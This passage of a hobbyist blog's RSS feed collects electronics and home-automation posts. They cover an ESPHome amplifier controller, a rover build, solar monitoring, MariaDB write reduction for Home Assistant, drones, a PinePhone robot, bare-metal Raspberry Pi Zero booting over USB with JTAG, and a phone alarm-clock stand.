&lt;p>&lt;code>POW_ON&lt;/code> connects to &lt;code>GPIO15&lt;/code> and &lt;code>RC5&lt;/code> to &lt;code>GPIO13&lt;/code> via a diode so the infrared remote will still work. The ESPHome configuration is:&lt;/p>
&lt;pre>&lt;code class="language-yaml">esphome:
name: pm6006
comment: PM6006 Amplifier
platform: esp8266
board: modwifi
wifi:
ssid: &amp;quot;your-ssid-here&amp;quot;
password: &amp;quot;your-password-here&amp;quot;
ap:
ssid: &amp;quot;PM6006 Fallback Hotspot&amp;quot;
password: &amp;quot;random-data&amp;quot;
power_save_mode: HIGH
captive_portal:
logger:
prometheus:
api:
password: &amp;quot;your-secret-here&amp;quot;
ota:
password: &amp;quot;your-secret-here&amp;quot;
status_led:
pin:
number: GPIO1
inverted: True
binary_sensor:
- platform: gpio
name: &amp;quot;PM6006 power sense&amp;quot;
id: pm6006_power_sense
pin:
number: 15
remote_transmitter:
pin:
number: GPIO13
inverted: True
carrier_duty_percent: 100%
switch:
- platform: template
name: &amp;quot;PM6006 power&amp;quot;
lambda: |-
if (id(pm6006_power_sense).state) {
return true;
} else {
return false;
}
turn_on_action:
remote_transmitter.transmit_rc5:
address: 0x10
command: 0x0C
repeat: 2
turn_off_action:
remote_transmitter.transmit_rc5:
address: 0x10
command: 0x0C
repeat: 2
&lt;/code>&lt;/pre>
&lt;p>Once flashed, the devices appears in
&lt;a href="https://www.home-assistant.io/" target="_blank" rel="noopener">Home Assistant&lt;/a> and can be controlled from there. The device appears as a single switch where the state reflects the main power relay state so any external changes (like using the remote control) or lost packets will still show the correct power state.&lt;/p>
&lt;p>I had to patch ESPHome to support the remote transmitter inverted mode. I&amp;rsquo;ll clean the patch up and send it upstream.&lt;/p>
&lt;p>Marantz use the
&lt;a href="https://en.wikipedia.org/wiki/RC-5" target="_blank" rel="noopener">RC-5&lt;/a> standard commands so I&amp;rsquo;ll add other commands like volume control and input selection in the future.&lt;/p>
&lt;p>I initially tried using a ESP32 board but the initial current draw was too high and caused the standby supply to collapse. The ESP8266 board draws about 70 mA once connected.&lt;/p></description></item><item><title>Ausdauer: mechanical assembly</title><link>https://juju.nz/michaelh/post/2021/ausdauer_assembled2/</link><pubDate>Tue, 05 Jan 2021 20:50:15 +0100</pubDate><guid>https://juju.nz/michaelh/post/2021/ausdauer_assembled2/</guid><description>&lt;p>And that&amp;rsquo;s the end of the mechanical assembly. The differential went on fine, and the epoxy is strong enough to hold in the insets. There&amp;rsquo;s one last thing - I missed the insets on the end of the differential arm, so those are glued and curing&lt;/p>
&lt;p>Next is the electrical assembly. That&amp;rsquo;ll take a while as each cable will need to be cut and extended.&lt;/p></description></item><item><title>Ausdauer: assembled</title><link>https://juju.nz/michaelh/post/2021/ausdauer_assembled/</link><pubDate>Sat, 02 Jan 2021 17:17:27 +0100</pubDate><guid>https://juju.nz/michaelh/post/2021/ausdauer_assembled/</guid><description>&lt;p>I&amp;rsquo;ve almost completed the right hand side, and the left hand side is far enough along that I can assemble the whole rover!&lt;/p>
&lt;p>The remaining steps are:&lt;/p>
&lt;ol>
&lt;li>Epoxy the steering wheel and differential inserts in. I didn&amp;rsquo;t modify the print, and the 3D Jake insets are ~1 mm smaller in diameter.&lt;/li>
&lt;li>Cut the grooves on the left hand side shafts.&lt;/li>
&lt;li>Print the differential.&lt;/li>
&lt;/ol></description></item><item><title>Ausdauer: left rocker/bogie assembly</title><link>https://juju.nz/michaelh/post/2020/ausdauer_left/</link><pubDate>Sun, 27 Dec 2020 18:35:54 +0100</pubDate><guid>https://juju.nz/michaelh/post/2020/ausdauer_left/</guid><description>&lt;p>I&amp;rsquo;m working on a build of the
&lt;a href="https://github.com/Roger-random/Sawppy_Rover" target="_blank" rel="noopener">Sawppy rover&lt;/a>. Today was a major milestone, as I finished assembling the left hand rocker/bogie assembly. This covers all of the major parts and techniques needed to build the rover, so the remaining work is to crank the handle and get the right side and box done.&lt;/p>
&lt;p>There&amp;rsquo;s more information at the
&lt;a href="https://juju.nz/michaelh/project/ausdauer/" target="_blank" rel="noopener">build log&lt;/a>.&lt;/p></description></item><item><title>VE.Direct</title><link>https://juju.nz/michaelh/post/2020/vedirect/</link><pubDate>Tue, 01 Dec 2020 19:44:20 +0100</pubDate><guid>https://juju.nz/michaelh/post/2020/vedirect/</guid><description>&lt;p>I&amp;rsquo;ve released
&lt;a href="https://github.com/nzmichaelh/vedirect/" target="_blank" rel="noopener">vedirect&lt;/a>, a
tool parses the Victron VE.Direct TEXT protocol and exports the
metrics over Prometheus and MQTT. This can be used to monitor your
solar installation and view statistics in tools like Grafana or Home
Assistant.&lt;/p>
&lt;p>See the
&lt;a href="https://github.com/nzmichaelh/vedirect/blob/master/README.md" target="_blank" rel="noopener">README&lt;/a>
for more. I&amp;rsquo;m using this to monitor the solar system used to power my
home server.&lt;/p></description></item><item><title>nppilot</title><link>https://juju.nz/michaelh/post/2020/nppilot/</link><pubDate>Fri, 27 Nov 2020 17:23:01 +0100</pubDate><guid>https://juju.nz/michaelh/post/2020/nppilot/</guid><description>&lt;p>I realized I haven&amp;rsquo;t posted about the current generation of &lt;code>nppilot&lt;/code>,
my never complete, often restarted rover project.&lt;/p>
&lt;p>The current version is a modified Traxxas E-Revo 1/16:&lt;/p>
&lt;p>Under the hood this is:&lt;/p>
&lt;ul>
&lt;li>A Revo controller running ROSflight for control and sensors.&lt;/li>
&lt;li>A Raspberry Pi 3 running ROS for command and telemetry.&lt;/li>
&lt;/ul>
&lt;p>The frame is laser cut MDF with 3D printed mounts and
risers.&lt;/p>
&lt;p>It works well, but winter came before I made much progress on the
control. The goal is for the Pi to do the planning using the GPS and a
map of the local area, and to see how fast it can complete the course.&lt;/p></description></item><item><title>Reducing disk IO</title><link>https://juju.nz/michaelh/post/2020/diskio/</link><pubDate>Thu, 26 Nov 2020 00:02:42 +0200</pubDate><guid>https://juju.nz/michaelh/post/2020/diskio/</guid><description>&lt;p>I&amp;rsquo;m using a Raspberry Pi 4 with a USB3 based SSD to host this website
and other services, and as a side effect the lounge looks like a disco
due to all the flashing activity LEDs.&lt;/p>
&lt;p>The machine should be fairly idle so I went looking for where the disk
activity was coming from.&lt;/p>
&lt;p>Running &lt;code>iotop -a&lt;/code> and looking at the writes shows that mysql (aka
MariaDB) is by far the heaviest writer.&lt;/p>
&lt;p>Looking at the metrics recorded by the Prometheus
&lt;a href="https://github.com/prometheus/mysqld_exporter" target="_blank" rel="noopener">mysqld_exporter&lt;/a>:&lt;/p>
&lt;pre>&lt;code>delta(mysql_global_status_commands_total[1h])
&lt;/code>&lt;/pre>
&lt;p>gives:&lt;/p>
&lt;p>&lt;img src="mysql.png" alt="MariaDB commands per hour">&lt;/p>
&lt;p>which is dominated by inserts.&lt;/p>
&lt;p>Dropping to the mysql command line and running:&lt;/p>
&lt;pre>&lt;code>SELECT table_name, table_rows from
INFORMATION_SCHEMA.TABLES ORDER BY table_rows DESC LIMIT 20;
&lt;/code>&lt;/pre>
&lt;p>gives:&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>table_name&lt;/th>
&lt;th>table_rows&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>events&lt;/td>
&lt;td>1731748&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>states&lt;/td>
&lt;td>1577498&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>oc_filecache&lt;/td>
&lt;td>26239&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>notice&lt;/td>
&lt;td>23483&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>The &lt;code>events&lt;/code> and &lt;code>states&lt;/code> tables are part of my
&lt;a href="https://www.home-assistant.io/" target="_blank" rel="noopener">HomeAssistant&lt;/a> installation. Reading
the docs shows that the &lt;code>recorder&lt;/code> commits every second and changing this
to 5m using:&lt;/p>
&lt;pre>&lt;code>recorder:
db_url: mysql+pymysql://hass:....@db/hass?charset=utf8
commit_interval: 300
&lt;/code>&lt;/pre>
&lt;p>fixes the problem. This reduces the write rate from 680 KiB/s to
~95 KiB/s:&lt;/p>
&lt;p>&lt;img src="writes.png" alt="Bytes written per 10 minutes">&lt;/p>
&lt;p>and cuts the I/O seconds per second:&lt;/p>
&lt;p>&lt;img src="iosecs.png" alt="I/O seconds per second">&lt;/p>
&lt;p>and makes the lounge much less blinky, yay!&lt;/p></description></item><item><title>Solar at home</title><link>https://juju.nz/michaelh/post/2020/solarch/</link><pubDate>Thu, 19 Nov 2020 00:00:00 +0200</pubDate><guid>https://juju.nz/michaelh/post/2020/solarch/</guid><description>&lt;p>For the last month or so I&amp;rsquo;ve been working on making my home server
(which also hosts this blog!) solar powered. It&amp;rsquo;s pointless but
entertaining, and this is a first of a series of posts about what I
learned on the way.&lt;/p>
&lt;p>&lt;img src="mounted.jpg" alt="Solar panel mounted on the frame">&lt;/p>
&lt;p>The summary is that a 55 W panel with 200 Wh of battery is enough to
power a Raspberry Pi 4 with SSD during the European winter. You still
need a mains power fallback, as a couple of days of grey weather will
deplete the battery.&lt;/p>
&lt;p>The last 7d have been fairly sunny:&lt;/p>
&lt;p>&lt;img src="totals.png" alt="Total power generation in Wh per day">&lt;/p>
&lt;p>This graph shows the power generated over a 16h window, so the peaks
are the total generation for that day. Total for the week was 741 Wh
or $0.15.&lt;/p></description></item><item><title>Vouch for authentication</title><link>https://juju.nz/michaelh/post/2020/vouch/</link><pubDate>Fri, 09 Oct 2020 00:02:42 +0200</pubDate><guid>https://juju.nz/michaelh/post/2020/vouch/</guid><description>&lt;p>I&amp;rsquo;ve started using
&lt;a href="https://github.com/vouch/vouch-proxy" target="_blank" rel="noopener">Vouch&lt;/a> for
SSO to my personal site. Quite happy with the experience - it
integrates well with Nginx, was straight forward to setup, and is
straight forward to enable for different paths on the site.&lt;/p></description></item><item><title>Propeller adapter</title><link>https://juju.nz/michaelh/post/2020/adapter/</link><pubDate>Fri, 04 Sep 2020 00:02:42 +0200</pubDate><guid>https://juju.nz/michaelh/post/2020/adapter/</guid><description>&lt;p>A nice thing about having a 3D printer is quick fixes to small
things. The 8x4 propeller that came with my
&lt;a href="https://hobbyking.com/en_us/h-king-bixler-3-glider-1550-pnf.html" target="_blank" rel="noopener">Bixler 3&lt;/a> was
loose on the motor shaft, so I 3D printed an adapter:&lt;/p>
&lt;p>&lt;img src="./adapter.png" alt="Propeller adapter">&lt;/p>
&lt;p>It took 5 minutes to print and three tries to get the tolerances
right, but the propeller is now a good fit, much quieter, and seems
more powerful. Yay!&lt;/p></description></item><item><title>Bixler 3 Drone</title><link>https://juju.nz/michaelh/post/2020/autobix/</link><pubDate>Sat, 29 Aug 2020 00:02:42 +0200</pubDate><guid>https://juju.nz/michaelh/post/2020/autobix/</guid><description>&lt;p>I recently purchased a HobbyKing
&lt;a href="https://hobbyking.com/en_us/h-king-bixler-3-glider-1550-pnf.html" target="_blank" rel="noopener">Bixler 3&lt;/a> to use as a autopilot
platform and am pretty happy with how it turned out. Both the under
wing area and nose area have plenty of room and could easily fit a
&lt;a href="https://shop.holybro.com/pixhawk4-mini_p1120.html" target="_blank" rel="noopener">Pixhawk 4 Mini&lt;/a> with GPS and telemetry.&lt;/p>
&lt;p>I prefer the Pixhawk 4 Mini over the older
&lt;a href="https://docs.px4.io/v1.9.0/en/flight_controller/pixfalcon.html" target="_blank" rel="noopener">Pixfalcon&lt;/a> for
a few reasons:&lt;/p>
&lt;ul>
&lt;li>the servo connectors are built-in to the module&lt;/li>
&lt;li>the safety switch is built-in to the GPS&lt;/li>
&lt;li>two of the four sides are connector free, making it easier to route&lt;/li>
&lt;/ul>
&lt;p>I ended up putting the power distribution board in the under wing area
and 3D printing a hatch to hold everything else:&lt;/p>
&lt;p>&lt;img src="./ap.png" alt="Hatch">&lt;/p>
&lt;p>The hatch is held on by the front tongue and 2x magnets. The
autopilot, telemetry, and RX are on the bottom of the hatch and the
GPS on top:&lt;/p>
&lt;p>&lt;img src="./20200824_171653.jpg" alt="Cropped to autopliot">&lt;/p>
&lt;p>The plane flew just fine in stabilised and hold mode with the default
PX4 aircraft turnings. I was a bit surprised by how PX4 handles a
strong headwind - if the plane can&amp;rsquo;t make progress in hold mode at the
cruise throttle then it gives up and switches back to stabilised
mode.&lt;/p>
&lt;p>&lt;img src="./20200824_171641.jpg" alt="Overall">&lt;/p>
&lt;p>Once the weather clears up I hope to do some waypoint tests. I&amp;rsquo;d also
like to find a quieter propeller. The stock is fine, but it&amp;rsquo;s
slightly unbalanced and could be much quieter.&lt;/p></description></item><item><title>Pan/tilt mount for a cell phone</title><link>https://juju.nz/michaelh/post/2020/pudel/</link><pubDate>Sat, 23 May 2020 00:00:00 +0200</pubDate><guid>https://juju.nz/michaelh/post/2020/pudel/</guid><description>&lt;p>I think it&amp;rsquo;s important to also post about the projects that didn&amp;rsquo;t
turn out. Pudel was a project to automatically track and video a
model plane using a cell phone camera.&lt;/p>
&lt;p>&lt;img src="mount.jpg" alt="mount">&lt;/p>
&lt;p>The pan and tilt components were modeled in
&lt;a href="https://openscad.org/" target="_blank" rel="noopener">OpenSCAD&lt;/a> and 3D printed. The pan unit had a
standard
&lt;a href="https://www.matrix-vision.com/manuals/mvBlueFOX/mvBF_page_tech.html" target="_blank" rel="noopener">1/4-20 tripod mount&lt;/a> and the tilt unit had a Samsung
A40 mount that I&amp;rsquo;ve used on a few other projects.&lt;/p>
&lt;p>&lt;img src="closeup.jpg" alt="close">&lt;/p>
&lt;p>Both were driven by standard
&lt;a href="https://hitecrcd.com/products/servos/sport-servos/analog-sport-servos/hs-422/product" target="_blank" rel="noopener">HS-422&lt;/a> servos with a
&lt;a href="https://www.adafruit.com/product/3500" target="_blank" rel="noopener">Trinket M0&lt;/a>
for I/O and a 2S LiPo through a
&lt;a href="https://hobbyking.com/en_us/turnigy-3a-ubec-w-noise-reduction.html?___store=en_us" target="_blank" rel="noopener">6V BEC&lt;/a> for power.&lt;/p>
&lt;p>The I/O board ran
&lt;a href="https://circuitpython.org/" target="_blank" rel="noopener">CircuitPython&lt;/a> with custom firmware that takes
MIDI-like messages as servo commands. It implemented an
acceleration limiter and velocity limiter to limit the
&lt;a href="https://en.wikipedia.org/wiki/Jerk_%28physics%29" target="_blank" rel="noopener">jerk&lt;/a>, as the servos are capable of 60 deg/0.2 s which is much
faster than the plane would move.&lt;/p>
&lt;p>The host side was going to be similar to Kieferbot and use ROS with an
IO specific node, OpenCV based detection, and a PID controller to keep
the plane centered in the frame.&lt;/p>
&lt;p>So why did it fail?&lt;/p>
&lt;ul>
&lt;li>The servos aren&amp;rsquo;t intended for precise, slow movement and hence had
mild jerk.&lt;/li>
&lt;li>There was too much slack in the mechanics, and the phone was mildly
heavy, so mild jerk caused the phone to move about too much.&lt;/li>
&lt;li>The plane is too small to resolve on a wide angle lens, so tracking
was unlikely to work.&lt;/li>
&lt;/ul>
&lt;p>If I wanted to take it further, I can imagine some improvements:&lt;/p>
&lt;ul>
&lt;li>Take the load off the pan servo. The tilt unit sits directly on top
of the pan servo shaft and there&amp;rsquo;s not much material to sit on which
increased the shake. Perhaps add a turntable style plates that most
of the downwards force could go through.&lt;/li>
&lt;li>Decrease the arm length out to the phone. It&amp;rsquo;s 30 mm and reducing
to 20 mm would reduce the load on the tilt servo.&lt;/li>
&lt;li>Try a phone with optical stabilization.&lt;/li>
&lt;/ul></description></item><item><title>Tracking using a camera</title><link>https://juju.nz/michaelh/post/2020/tracking/</link><pubDate>Sun, 19 Apr 2020 00:00:00 +0200</pubDate><guid>https://juju.nz/michaelh/post/2020/tracking/</guid><description>&lt;p>Here&amp;rsquo;s Kieferbot being tracked through a camera:&lt;/p>
&lt;p>&lt;video controls src="tracking.mp4">&lt;/video>&lt;/p>
&lt;p>It took a few iterations but I settled on matching the colour of the
floor to create a floor mask, then
&lt;a href="https://docs.opencv.org/trunk/d4/d73/tutorial_py_contours_begin.html" target="_blank" rel="noopener">findCountours&lt;/a> to find the
contours as a tree, and then searching the children of the root
contours. As the bot is black, the children were matched against a
&amp;lsquo;black pixels&amp;rsquo; mask, and the contour with the most black pixels
picked.&lt;/p>
&lt;p>The camera is an Android phone running
&lt;a href="https://play.google.com/store/apps/details?id=com.pas.webcam&amp;amp;hl=en" target="_blank" rel="noopener">IP Webcam&lt;/a> and sharing
the back camera as MJPEG over HTTP over Wifi at 10 FPS. It could be
higher, but the laptop doing the image processing has trouble keeping
up with 30 FPS. The latency looks good - visually less than 200 ms.&lt;/p>
&lt;p>The tracking seems reliable. If the bot goes off the bottom of the
frame then other black areas are picked, but this can be detected by
checking for a jump in position.&lt;/p>
&lt;p>Next step is to integrate the camera position, phone sensors, and
wheel velocity to get a controllable position.&lt;/p></description></item><item><title>Self-contained and smoke</title><link>https://juju.nz/michaelh/post/2020/kiefer_pine/</link><pubDate>Sat, 11 Apr 2020 00:00:00 +0200</pubDate><guid>https://juju.nz/michaelh/post/2020/kiefer_pine/</guid><description>&lt;p>A day of highs and lows. Here&amp;rsquo;s Kieferbot still in
&lt;a href="https://en.wikipedia.org/wiki/Teleoperation" target="_blank" rel="noopener">teleop&lt;/a>
mode but now self contained:&lt;/p>
&lt;p>&lt;video controls src="self.m4v">&lt;/video>&lt;/p>
&lt;p>The
&lt;a href="https://wiki.pine64.org/index.php/PinePhone" target="_blank" rel="noopener">PinePhone&lt;/a> is taking commands from a PS4 DualShock
over Bluetooth using &lt;code>ds4drv&lt;/code> and sending them to the IO board over
serial. I experimented with a few transports:&lt;/p>
&lt;ul>
&lt;li>UDP over Wifi was fine, but the default ESP32 Wifi power mode added
random latency of up to 100 ms. Switching to &amp;lsquo;always on&amp;rsquo; mode by
modifying MicroPython fixed this.&lt;/li>
&lt;li>Bluetooth Low Energy worked for one-way communication to the IO
board, but there was lots of packet loss when using Bluetooth for
both the joystick and IO.&lt;/li>
&lt;/ul>
&lt;p>Inspired by
&lt;a href="https://github.com/firmata/protocol" target="_blank" rel="noopener">Firmata&lt;/a>, I settled on MIDI over serial. I
quite like the MIDI format for short messages. A frame starts with
the command followed by a command specific payload. The command has
the MSB set so it&amp;rsquo;s simple to frame.&lt;/p>
&lt;p>I also compiled
&lt;a href="http://wiki.ros.org/kinetic" target="_blank" rel="noopener">ROS Kinetic&lt;/a> for Debian Buster and created an IO node
that takes left and right velocity commands. There seems to be an
ordering issue with either the ESP32 PWM chip or the FIT0441
controller, where going from forward to reverse and vice-versa is
fine but the motor won&amp;rsquo;t start sometimes when going from zero.&lt;/p>
&lt;p>So plenty of highs, but the low was
&lt;a href="https://en.wikipedia.org/wiki/Magic_smoke" target="_blank" rel="noopener">releasing the smoke&lt;/a> - I&amp;rsquo;m
using a LiPo battery for the supply and something short-circuited when
unplugging the battery. It seems to have taken out the regulator and
the ESP32 flash.&lt;/p>
&lt;p>Next step is to re-make the IO board using an
&lt;a href="https://www.adafruit.com/product/3800" target="_blank" rel="noopener">ItsyBitsy M4&lt;/a>. It
also runs MicroPython so the IO software was easy to port. I&amp;rsquo;ve
ordered some Seeed
&lt;a href="https://www.seeedstudio.com/Seeeduino-XIAO-Arduino-Microcontroller-SAMD21-Cortex-M0&amp;#43;-p-4426.html" target="_blank" rel="noopener">XIAO&lt;/a> boards - $5 gives you a MicroPython
compatible SAMD21 with 9 pins of IO which is enough for this project.&lt;/p>
&lt;p>This time I&amp;rsquo;ll secure the battery socket better and 3D print a
shield.&lt;/p></description></item><item><title>Teleop</title><link>https://juju.nz/michaelh/post/2020/kiefer_telop/</link><pubDate>Sun, 22 Mar 2020 00:00:00 +0200</pubDate><guid>https://juju.nz/michaelh/post/2020/kiefer_telop/</guid><description>&lt;p>As a winter project, I&amp;rsquo;m turning my
&lt;a href="https://wiki.pine64.org/index.php/PinePhone" target="_blank" rel="noopener">PinePhone&lt;/a> into an
indoor robot. The Pinephone has everything needed for a decent
stand-alone robot: plenty of CPU, a camera,
gyro/accelerometor/compass, display, and it can run Debian.&lt;/p>
&lt;p>Below is a video of the hardware in
&lt;a href="https://en.wikipedia.org/wiki/Teleoperation" target="_blank" rel="noopener">teleop&lt;/a> mode. A
&lt;a href="https://wiki.wemos.cc/products:lolin32:lolin32" target="_blank" rel="noopener">Lolin32&lt;/a>
&lt;a href="https://www.espressif.com/en/products/hardware/esp32/overview" target="_blank" rel="noopener">ESP32&lt;/a>
running
&lt;a href="https://micropython" target="_blank" rel="noopener">MicroPython&lt;/a> takes commands over
Bluetooth LE and sends PWM and direction signals to the
&lt;a href="https://wiki.dfrobot.com/FIT0441_Brushless_DC_Motor_with_Encoder_12V_159RPM" target="_blank" rel="noopener">FIT0441&lt;/a>
motors. The frame is 3D printed.&lt;/p>
&lt;p>&lt;video controls src="teleop.m4v">&lt;/video>&lt;/p>
&lt;p>Currently the phone is just a passenger. The next step is to get the
phone to communicate with the IO board.&lt;/p></description></item><item><title>Bare metal Raspberry Pi Zero</title><link>https://juju.nz/michaelh/post/2020/rawpizero/</link><pubDate>Sun, 09 Feb 2020 00:02:42 +0200</pubDate><guid>https://juju.nz/michaelh/post/2020/rawpizero/</guid><description>&lt;p>These are short notes on loading baremetal software on the Raspberry
Pi Zero. I started down this path due to wanting to learn Rust, which
lead to
&lt;a href="https://www.tockos.org/" target="_blank" rel="noopener">Tock&lt;/a> which is an embedded operating
system in Rust. Rather than buy yet another piece of hardware I
though I&amp;rsquo;d use one of my 5 (!) Raspberry Pi Zeros as a development
board instead. It&amp;rsquo;s just another microcontroller, just one that runs
at 1 GHz and has a ton of RAM&amp;hellip;&lt;/p>
&lt;h1 id="console">Console&lt;/h1>
&lt;p>See
&lt;a href="https://pinout.xyz/pinout/uart" target="_blank" rel="noopener">https://pinout.xyz/pinout/uart&lt;/a> for the UART pins. Note that on
Linux you need to add &lt;code>enable_uart=1&lt;/code> to &lt;code>boot/config.txt&lt;/code>.&lt;/p>
&lt;p>Connect to a USB &amp;ndash;&amp;gt; Serial adapter and launch a console at 11500
baud.&lt;/p>
&lt;h1 id="examples">Examples&lt;/h1>
&lt;p>See
&lt;a href="https://github.com/dwelch67/raspberrypi" target="_blank" rel="noopener">dwelch&lt;/a>&amp;rsquo;s bare metal examples. Note that every Pi model
has different things on different pins so use the examples from
&lt;code>boards/pizero&lt;/code>.&lt;/p>
&lt;h1 id="loading">Loading&lt;/h1>
&lt;p>The Pi Zero can boot over USB from a host machine without needing a SD
card. This greatly reduces the build/debug cycle. To do this:&lt;/p>
&lt;ul>
&lt;li>Fetch &lt;code>bootcode.bin&lt;/code> and &lt;code>start.elf&lt;/code> from the
&lt;a href="https://github.com/raspberrypi/firmware/tree/master/boot" target="_blank" rel="noopener">firmware&lt;/a>
repo.&lt;/li>
&lt;li>Fetch the
&lt;a href="https://github.com/raspberrypi/usbboot" target="_blank" rel="noopener">usbboot&lt;/a> repo and build.&lt;/li>
&lt;li>Copy the &lt;code>.bin&lt;/code> file to &lt;code>kernel.img&lt;/code>&lt;/li>
&lt;li>Run &lt;code>sudo rpiboot -d .&lt;/code>&lt;/li>
&lt;li>Unplug / plug the board&lt;/li>
&lt;/ul>
&lt;p>A fully worked example is:&lt;/p>
&lt;pre>&lt;code class="language-sh">$ git clone --depth 1 https://github.com/raspberrypi/firmware
Cloning into 'firmware'...
$ mkdir boot
$ cp firmware/boot/bootcode.bin firmware/boot/start.elf boot/
$ git clone https://github.com/raspberrypi/usbboot.git
Cloning into 'usbboot'...
$ make -C usbboot/
$ git clone https://github.com/dwelch67/raspberrypi.git
$ make -C raspberrypi/boards/pizero/uart02/
$ cp raspberrypi/boards/pizero/uart02/uart02.bin boot/kernel.img
$ sudo ./usbboot/rpiboot -d boot
Waiting for BCM2835/6/7/2711...
Sending bootcode.bin
Successful read 4 bytes
Waiting for BCM2835/6/7/2711...
Second stage boot server
File read: start.elf
File read: kernel.img
Second stage boot server done
&lt;/code>&lt;/pre>
&lt;h1 id="jtag">JTAG&lt;/h1>
&lt;ul>
&lt;li>Add &lt;code>enable_jtag_gpio=1&lt;/code> to &lt;code>boot/config.txt&lt;/code>&lt;/li>
&lt;li>Wire up using
&lt;a href="https://github.com/raspberrypi/linux/issues/1749#issuecomment-265404857" target="_blank" rel="noopener">https://github.com/raspberrypi/linux/issues/1749#issuecomment-265404857&lt;/a>&lt;/li>
&lt;li>Use the &lt;code>raspberry.cfg&lt;/code> from
&lt;a href="https://sysprogs.com/VisualKernel/tutorials/raspberry/jtagsetup/" target="_blank" rel="noopener">https://sysprogs.com/VisualKernel/tutorials/raspberry/jtagsetup/&lt;/a>&lt;/li>
&lt;li>Run openocd using &lt;code>openocd -f interface/jlink.cfg -f ./raspberry.cfg&lt;/code>&lt;/li>
&lt;li>Run gdb-multiarch against the corresponding ELF file&lt;/li>
&lt;/ul>
&lt;p>giving:&lt;/p>
&lt;pre>&lt;code class="language-sh">$ sudo openocd -f interface/jlink.cfg -f ./raspberry.cfg
Open On-Chip Debugger 0.10.0
Licensed under GNU GPL v2
For bug reports, read
http://openocd.org/doc/doxygen/bugs.html
adapter speed: 100 kHz
adapter_nsrst_delay: 400
none separate
Info : auto-selecting first available session transport &amp;quot;jtag&amp;quot;. To override use 'transport select &amp;lt;transport&amp;gt;'.
Info : No device selected, using first device.
Info : J-Link ARM V8 compiled Nov 28 2014 13:44:46
Info : Hardware version: 8.00
Info : VTarget = 3.287 V
Info : clock speed 100 kHz
Info : JTAG tap: rspi.arm tap/device found: 0x07b7617f (mfg: 0x0bf (Broadcom), part: 0x7b76, ver: 0x0)
Info : found ARM1176
Info : rspi.arm: hardware has 6 breakpoints, 2 watchpoints
&lt;/code>&lt;/pre>
&lt;p>Note that the ARM CPU needs to be running some code for the JTAG to connect.&lt;/p></description></item><item><title>ESPHome as a Ruuvi bridge</title><link>https://juju.nz/michaelh/post/2020/esphome/</link><pubDate>Sat, 01 Feb 2020 00:02:42 +0200</pubDate><guid>https://juju.nz/michaelh/post/2020/esphome/</guid><description>&lt;p>
&lt;a href="https://esphome.io/" target="_blank" rel="noopener">ESPHome&lt;/a> is a framework for building custom home
automation that runs on an ESP8266 or
&lt;a href="https://en.wikipedia.org/wiki/ESP32" target="_blank" rel="noopener">ESP32&lt;/a>. It&amp;rsquo;s pretty cool - you
select and configure components by writing a
&lt;a href="https://esphome.io/cookbook/display_time_temp_oled.html" target="_blank" rel="noopener">YAML
file&lt;/a>, which
then drives host side
&lt;a href="https://github.com/esphome/esphome/blob/dev/esphome/components/ruuvitag/sensor.py" target="_blank" rel="noopener">Python
snippets&lt;/a>
to configure and bind the device side code, which is then built and
pushed using
&lt;a href="https://platformio.org/" target="_blank" rel="noopener">PlatformIO&lt;/a>.&lt;/p>
&lt;p>Some nice touches:&lt;/p>
&lt;ul>
&lt;li>It integrates with
&lt;a href="https://home-assistant.io/" target="_blank" rel="noopener">Home Assistant&lt;/a>
and has automatic discovery&lt;/li>
&lt;li>It can drive displays, including
&lt;a href="https://esphome.io/cookbook/display_time_temp_oled.html#define-the-fonts" target="_blank" rel="noopener">rendering TTF files&lt;/a>
host side to give nice fonts device side&lt;/li>
&lt;li>It looks reasonably composable so, for example, you can have
multiple Bluetooth broadcast parsers&lt;/li>
&lt;/ul>
&lt;p>I used this to bridge between
&lt;a href="https://ruuvi.com/" target="_blank" rel="noopener">Ruuvi tags&lt;/a> and my
Home Assistant instance. Home Assistant then re-exports everything to
&lt;a href="https://prometheus.io/" target="_blank" rel="noopener">Prometheus&lt;/a>.&lt;/p>
&lt;p>It also gave me a reason to break out the 3D printer and make a case
for the ESP-WROOM-32 based
&lt;a href="https://wiki.wemos.cc/products:lolin32:lolin32" target="_blank" rel="noopener">Lolin32&lt;/a>:&lt;/p>
&lt;p>&lt;img src="./case.jpg" alt="Case">&lt;/p></description></item><item><title>Android phone as an alarm clock</title><link>https://juju.nz/michaelh/post/2018/stand/</link><pubDate>Sat, 20 Oct 2018 00:02:42 +0200</pubDate><guid>https://juju.nz/michaelh/post/2018/stand/</guid><description>&lt;p>My son wanted to get an alarm clock for his room which preferably
plays MP3s. MP3 players are
&lt;a href="https://www.interdiscount.ch/de/fernseher-audio/mp3-audiorecording/mp3-media-player--C164000/intertronic-mp3-player-mp3-767-blt-4-gb-black--P0001433489" target="_blank" rel="noopener">surprisingly expensive&lt;/a> at 40 CHF for
a 4 GiB model so I picked up a used
&lt;a href="https://www.ebay.co.uk/itm/MOTOROLA-MOTO-E-2nd-Gen-XT-1524-Unlocked-Tesco-Various-Colours-Mobile/232869676340" target="_blank" rel="noopener">Moto E 2nd gen phone&lt;/a> for 35
GBP, loaded a stripped down version of
&lt;a href="https://lineageos.org/" target="_blank" rel="noopener">Lineage OS&lt;/a> on it, and
designed a
&lt;a href="https://juju.nz/src/michaelh/CAD/src/branch/master/stands" target="_blank" rel="noopener">3D printed a stand&lt;/a>:&lt;/p>
&lt;p>&lt;img src="stand.jpg" alt="Moto E on a 3D printed stand">&lt;/p>
&lt;p>&lt;img src="render.png" alt="Render of the stand">&lt;/p>
&lt;p>I&amp;rsquo;m quite happy with how it turned out. The phone is just an alarm
clock and MP3 player as the other apps are either not installed or (like the
Play Store) behind Lineage&amp;rsquo;s protected app feature. This gives ~5 GiB
of free storage for songs. The battery lasts for &amp;gt;= 5d as well.&lt;/p>
&lt;p>I&amp;rsquo;ll do one more revision to build a
&lt;a href="https://www.ebay.co.uk/itm/1-5m-USB-2-0-A-To-RIGHT-ANGLE-MICRO-B-Data-Charging-Cable-Lead-007241/191762039916" target="_blank" rel="noopener">right angle USB cable&lt;/a> into
